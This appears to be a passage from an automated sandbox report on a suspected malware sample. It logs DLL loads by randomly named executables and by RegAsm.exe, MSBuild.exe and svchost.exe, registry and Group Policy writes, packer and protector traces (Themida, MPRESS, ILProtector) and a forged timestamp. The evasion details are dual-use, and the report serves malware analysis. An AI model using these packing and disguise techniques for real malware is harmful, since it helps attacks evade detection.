Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Section loaded: srvcli.dll
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Section loaded: netutils.dll
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Section loaded: sspicli.dll
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Section loaded: wldp.dll
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Section loaded: propsys.dll
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Section loaded: profapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Section loaded: userenv.dll
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Section loaded: sxs.dll
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Section loaded: mpr.dll
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Section loaded: scrrun.dll
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Section loaded: linkinfo.dll
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Section loaded: edputil.dll
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Section loaded: appresolver.dll
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Section loaded: slc.dll
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Section loaded: sppc.dll
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\Documents\SimpleAdobe\N_fzNzObxT0UJ9JQqz4nPKUC.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Documents\SimpleAdobe\N_fzNzObxT0UJ9JQqz4nPKUC.exe	Section loaded: userenv.dll
Source: C:\Users\user\Documents\SimpleAdobe\N_fzNzObxT0UJ9JQqz4nPKUC.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Documents\SimpleAdobe\N_fzNzObxT0UJ9JQqz4nPKUC.exe	Section loaded: propsys.dll
Source: C:\Users\user\Documents\SimpleAdobe\N_fzNzObxT0UJ9JQqz4nPKUC.exe	Section loaded: dwmapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\N_fzNzObxT0UJ9JQqz4nPKUC.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\Documents\SimpleAdobe\N_fzNzObxT0UJ9JQqz4nPKUC.exe	Section loaded: oleacc.dll
Source: C:\Users\user\Documents\SimpleAdobe\N_fzNzObxT0UJ9JQqz4nPKUC.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\Documents\SimpleAdobe\N_fzNzObxT0UJ9JQqz4nPKUC.exe	Section loaded: version.dll
Source: C:\Users\user\Documents\SimpleAdobe\N_fzNzObxT0UJ9JQqz4nPKUC.exe	Section loaded: shfolder.dll
Source: C:\Users\user\Documents\SimpleAdobe\N_fzNzObxT0UJ9JQqz4nPKUC.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Documents\SimpleAdobe\N_fzNzObxT0UJ9JQqz4nPKUC.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Documents\SimpleAdobe\N_fzNzObxT0UJ9JQqz4nPKUC.exe	Section loaded: wldp.dll
Source: C:\Users\user\Documents\SimpleAdobe\N_fzNzObxT0UJ9JQqz4nPKUC.exe	Section loaded: profapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\N_fzNzObxT0UJ9JQqz4nPKUC.exe	Section loaded: textshaping.dll
Source: C:\Users\user\Documents\SimpleAdobe\N_fzNzObxT0UJ9JQqz4nPKUC.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\Documents\SimpleAdobe\N_fzNzObxT0UJ9JQqz4nPKUC.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\Documents\SimpleAdobe\N_fzNzObxT0UJ9JQqz4nPKUC.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\Documents\SimpleAdobe\N_fzNzObxT0UJ9JQqz4nPKUC.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Documents\SimpleAdobe\N_fzNzObxT0UJ9JQqz4nPKUC.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Documents\SimpleAdobe\N_fzNzObxT0UJ9JQqz4nPKUC.exe	Section loaded: wintypes.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dwrite.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msvcp140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msisip.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wshext.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: appxsip.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: opcservices.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: esdsip.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sxs.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: scrrun.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: propsys.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: linkinfo.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: secur32.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wersvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: windowsperformancerecordercontrol.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: weretw.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wer.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: faultrep.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dbgcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wer.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wininet.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rstrtmgr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dbghelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iertutil.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: urlmon.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: srvcli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: netutils.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: amsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sxs.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntmarta.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dwrite.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\7zS76DB.tmp\Install.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\7zS76DB.tmp\Install.exe	Section loaded: acgenral.dll
Source: C:\Users\user\AppData\Local\Temp\7zS76DB.tmp\Install.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\7zS76DB.tmp\Install.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\7zS76DB.tmp\Install.exe	Section loaded: samcli.dll
Source: C:\Users\user\AppData\Local\Temp\7zS76DB.tmp\Install.exe	Section loaded: msacm32.dll
Source: C:\Users\user\AppData\Local\Temp\7zS76DB.tmp\Install.exe	Section loaded: version.dll

Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{EA502722-A23D-11D1-A7D3-0000F87571E3}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe

File written: C:\Windows\System32\GroupPolicy\gpt.ini

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOwner

Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp

Window found: window name: TMainForm

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: tZvjMg3Hw9.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: tZvjMg3Hw9.exe

Static file information: File size 6203640 > 1048576

Source: tZvjMg3Hw9.exe

Static PE information: Raw size of .themida is bigger than: 0x100000 < 0x514000

Source:	Binary string: Z:\Development\SecureEngine\src\plugins_manager\internal_plugins\embedded dlls\TlsHelperXBundler\x64\Release\XBundlerTlsHelper.pdb source: tZvjMg3Hw9.exe
Source:	Binary string: C:\Users\weckb\source\repos\Hider\Hider\obj\x64\Release\Hider.pdb source: TrIR3OjzF5zT6wur9yJ59R0V.exe, 00000015.00000000.2584124257.00000268C10B2000.00000002.00000001.01000000.00000014.sdmp, TrIR3OjzF5zT6wur9yJ59R0V.exe, 00000015.00000002.3348354834.00000268C14F0000.00000002.00000001.00040000.00000014.sdmp
Source:	Binary string: c:\MyProjects\gitlab\ILProtector\ILProtector\Output2010\Win32\Release\Protect32.pdb source: cWSgbiiWuHkrGD6e9Bvvb03z.exe, 0000000B.00000002.2931931967.000000000435C000.00000004.00000800.00020000.00000000.sdmp, cWSgbiiWuHkrGD6e9Bvvb03z.exe, 0000000B.00000002.3350307829.0000000005690000.00000004.08000000.00040000.00000000.sdmp, cWSgbiiWuHkrGD6e9Bvvb03z.exe, 0000000B.00000002.3370248970.000000006A564000.00000002.00000001.01000000.00000023.sdmp, cWSgbiiWuHkrGD6e9Bvvb03z.exe, 0000000B.00000002.2931931967.0000000003C91000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: Z:\Development\SecureEngine\src\plugins_manager\internal_plugins\embedded dlls\TlsHelperXBundler\Release\XBundlerTlsHelper.pdb source: lrPP7Py6j59vWWqs5P8cBSO1.exe, 00000007.00000002.3397323684.000000000059C000.00000040.00000001.01000000.00000007.sdmp, pnUE3Ri3AJFo6xuNgBEk3Rs_.exe, pnUE3Ri3AJFo6xuNgBEk3Rs_.exe, 00000008.00000002.3396296083.0000000000566000.00000040.00000001.01000000.0000000A.sdmp, pnUE3Ri3AJFo6xuNgBEk3Rs_.exe, 00000008.00000001.2688844184.0000000000566000.00000040.00000001.01000000.0000000A.sdmp, tDrDIT3EJ93dpzmmxTIMr4ah.exe, 0000000D.00000002.3397729978.0000000000566000.00000040.00000001.01000000.0000000F.sdmp, 9AzlS7F3tYa6PD9PpLcR316P.exe, 00000014.00000000.2592125898.0000000000DF6000.00000080.00000001.01000000.00000013.sdmp, 9AzlS7F3tYa6PD9PpLcR316P.exe, 00000014.00000002.3398970212.0000000000DF6000.00000080.00000001.01000000.00000013.sdmp
Source:	Binary string: c:\miniprojects\x86il\il86\x64\release\IL86.pdb! source: tZvjMg3Hw9.exe, 00000000.00000000.2080092625.0000000140537000.00000080.00000001.01000000.00000003.sdmp
Source:	Binary string: f:\binaries\Intermediate\ndp_msbuild\xmakecommandline.csproj_1613737345\objr\x86\MSBuild.pdb source: MSBuild.exe, 00000021.00000002.3375866248.0000000003F11000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: c:\miniprojects\x86il\il86\x64\release\IL86.pdb source: tZvjMg3Hw9.exe, 00000000.00000000.2080092625.0000000140537000.00000080.00000001.01000000.00000003.sdmp
Source:	Binary string: C:\Users\Dan\Desktop\work\sqlite\tmp\sqlite_bld_dir\2\sqlite3.pdb source: RegAsm.exe, 0000001E.00000002.3592312585.000000001C4C8000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 0000001E.00000002.3493610284.0000000016559000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: c:\Users\kkelsch\Documents\PushNotifications\PushSharp\PushSharp-master\PushSharp.Core\obj\Debug\PushSharp.Core.pdb source: cWSgbiiWuHkrGD6e9Bvvb03z.exe, 0000000B.00000000.2582436692.0000000000943000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: c:\MyProjects\gitlab\ILProtector\ILProtector\Output2010\x64\Release\Protect64.pdb source: cWSgbiiWuHkrGD6e9Bvvb03z.exe, 0000000B.00000002.3350307829.000000000574A000.00000004.08000000.00040000.00000000.sdmp, cWSgbiiWuHkrGD6e9Bvvb03z.exe, 0000000B.00000002.2931931967.000000000428D000.00000004.00000800.00020000.00000000.sdmp, cWSgbiiWuHkrGD6e9Bvvb03z.exe, 0000000B.00000002.2931931967.0000000004418000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: c:\Program Files\Microsoft Enterprise Library January 2006\src\Data\obj\Debug\Microsoft.Practices.EnterpriseLibrary.Data.pdb source: cWSgbiiWuHkrGD6e9Bvvb03z.exe, 0000000B.00000000.2582436692.0000000000612000.00000002.00000001.01000000.00000008.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Documents\SimpleAdobe\lrPP7Py6j59vWWqs5P8cBSO1.exe	Unpacked PE file: 7.2.lrPP7Py6j59vWWqs5P8cBSO1.exe.400000.0.unpack .MPRESS1:EW;.MPRESS2:EW;.rsrc:W; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Unpacked PE file: 8.2.pnUE3Ri3AJFo6xuNgBEk3Rs_.exe.400000.0.unpack .MPRESS1:EW;.MPRESS2:EW;.rsrc:W; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;
Source: C:\Users\user\Documents\SimpleAdobe\tDrDIT3EJ93dpzmmxTIMr4ah.exe	Unpacked PE file: 13.2.tDrDIT3EJ93dpzmmxTIMr4ah.exe.400000.0.unpack .MPRESS1:EW;.MPRESS2:EW;.rsrc:W; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;
Source: C:\Users\user\Documents\SimpleAdobe\smXaUwB1apxcy5uQ1QhDrzwt.exe	Unpacked PE file: 17.2.smXaUwB1apxcy5uQ1QhDrzwt.exe.b10000.0.unpack Unknown_Section0:EW;Unknown_Section1:EW;Unknown_Section2:EW;Unknown_Section3:EW;Unknown_Section4:EW;.rsrc:R;Unknown_Section6:EW;.data:EW; vs Unknown_Section0:ER;Unknown_Section1:R;Unknown_Section2:W;Unknown_Section3:R;Unknown_Section4:R;.rsrc:R;Unknown_Section6:EW;.data:EW;

Binary contains a suspicious time stamp

Source: TrIR3OjzF5zT6wur9yJ59R0V.exe.0.dr

Static PE information: 0xC2FA201D [Mon Aug 28 18:55:25 2073 UTC]

Contains functionality to dynamically determine API calls

Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe

Code function: 8_2_00418BB0 LoadLibraryA,GetProcAddress,

8_2_00418BB0

Entry point lies outside standard sections

Source: initial sample

Static PE information: section where entry point is pointing to: .themida

PE file contains an invalid checksum

Source: 1sMfNqnOFjTOadWc0yClvu5P.exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x7e8b1
